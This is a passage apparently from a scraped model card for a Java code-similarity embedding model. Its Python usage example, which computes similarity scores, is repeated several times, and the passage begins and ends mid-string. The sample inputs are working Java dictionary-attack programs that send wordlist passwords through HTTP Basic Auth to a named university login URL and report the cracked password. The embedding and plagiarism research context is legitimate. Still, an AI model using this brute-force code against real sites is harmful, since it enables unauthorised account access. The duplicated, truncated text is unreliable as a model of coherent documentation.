\'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', 